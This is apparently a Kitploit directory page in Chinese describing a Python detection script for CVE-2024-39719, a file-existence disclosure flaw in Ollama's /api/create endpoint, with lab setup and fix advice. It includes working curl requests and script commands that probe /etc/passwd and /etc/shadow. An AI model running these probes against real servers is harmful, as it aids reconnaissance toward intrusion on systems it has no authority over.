Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-39719 — Python exploit script for CVE-2024-39719, a file existence disclosure vulnerability in Ollama. Tests API endpoints to detect server file paths, aiding in vulnerability analysis and penetration testing. | Kitploit
工具/GitHubGitHub/srcx404/cve-2024-39719
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试学习与教育
GitHubsrcx404/cve-2024-39719

CVE-2024-39719

Python exploit script for CVE-2024-39719, a file existence disclosure vulnerability in Ollama. Tests API endpoints to detect server file paths, aiding in vulnerability analysis and penetration testing.

查看仓库
1年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Ollama 文件存在性泄露漏洞 (CVE-2024-39719) 详细分析

漏洞概述

CVE-2024-39719 是一个影响 Ollama 0.3.14 及之前版本的文件存在性泄露(File Existence Disclosure)漏洞。该漏洞允许攻击者通过 API 接口探测服务器上特定文件是否存在,从而可能导致信息泄露。

发布日期:2024年10月31日

漏洞详情

漏洞原理

该漏洞存在于 Ollama 的 /api/create 端点中。当攻击者调用 CreateModel API 并传递一个路径参数时,服务器会根据该路径是否存在返回不同的错误消息。这种行为使攻击者能够通过分析错误消息来确定服务器上特定文件或目录是否存在。

该漏洞的核心问题是在处理用户输入时没有正确地隐藏路径存在性信息,而是直接将文件系统错误返回给了客户端。

影响范围

此漏洞影响 Ollama 0.3.14 及之前的所有版本。

漏洞危害

虽然文件存在性泄露漏洞本身可能看起来不太严重,但它可能:

  1. 作为更复杂攻击的前置步骤,帮助攻击者收集服务器信息
  2. 探测关键配置文件、证书或敏感数据文件的存在
  3. 辅助攻击者进行更有针对性的攻击
  4. 在特定环境下导致信息泄露,例如确认特定用户的存在或系统特征

漏洞复现

环境搭建

  1. 使用以下 Docker Compose 文件创建受影响的 Ollama 环境:
root@kitploit:~
services:
  ollama:
    image: ollama/ollama:0.3.14
    container_name: ollama
    volumes:
      - ollama:/root/.ollama
    ports:
      - "11434:11434"

volumes:
  ollama:
  1. 启动服务:
root@kitploit:~
docker compose up -d
  1. 服务启动后,可通过访问 http://your-ip:11434/ 确认 Ollama 0.3.14 已成功运行。

复现步骤

1. 测试不存在的文件

使用 curl 命令发送请求,尝试访问不存在的文件:

root@kitploit:~
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'

返回结果:

root@kitploit:~
{"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}

2. 测试存在的文件

测试一个存在的文件,例如 /etc/passwd:

root@kitploit:~
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/etc/passwd"}'

返回结果:

root@kitploit:~
{"error":"no FROM line for the model was specified"}

通过以上不同的错误消息,攻击者可以判断目标路径文件是存在还是不存在,从而获取服务器文件结构信息。 需要注意的是,服务器根据不同请求返回的信息可能随着版本不同而不同。

漏洞修复

官方修复方案

Ollama 官方已在更新版本中修复了该漏洞。修复措施包括:

  1. 统一错误处理,避免泄露文件存在性信息
  2. 对用户输入的路径进行更严格的验证和过滤
  3. 采用更加通用的错误消息,不直接暴露文件系统信息

修复建议

  1. 升级Ollama版本:将 Ollama 升级到最新版本是解决此漏洞的最有效方法。
  2. 访问控制:限制对 API 接口的访问,仅允许授权用户使用。
  3. 网络隔离:在可能的情况下,将 Ollama 服务部署在隔离网络中,减少外部访问。
  4. 监控:加强对 API 调用的监控,特别是对 /api/create 端点的异常访问模式进行检测。

漏洞检测脚本使用方法

提供的 Python 脚本可用于检测 Ollama 服务器是否易受 CVE-2024-39719 漏洞的影响。

环境要求

  • Python 3.x
  • 所需包: requests, termcolor

安装依赖

root@kitploit:~
pip install requests termcolor

使用方法

root@kitploit:~
python CVE_2024_39719.py -u <ollama服务器URL> [-f <要检查的文件>]

参数选项

  • -u, --url: Ollama 服务器的 URL(必需)
  • -f, --file: 要检查是否存在的文件(默认为 "/etc/passwd")

使用示例

root@kitploit:~
# 检查服务器是否存在漏洞
python CVE_2024_39719.py -u http://your-ip:11434

# 检查特定文件是否存在
python CVE_2024_39719.py -u http://your-ip:11434 -f /etc/shadow

参考资料

  • 国家漏洞库中的 CVE-2024-39719
  • Ollama GitHub 仓库
  • Ollama 安全公告

免责声明

此脚本仅供教育目的和合法的安全测试使用。在测试任何系统的漏洞之前,请确保您已获得适当的授权。未经授权的测试可能违反法律法规。

下载工具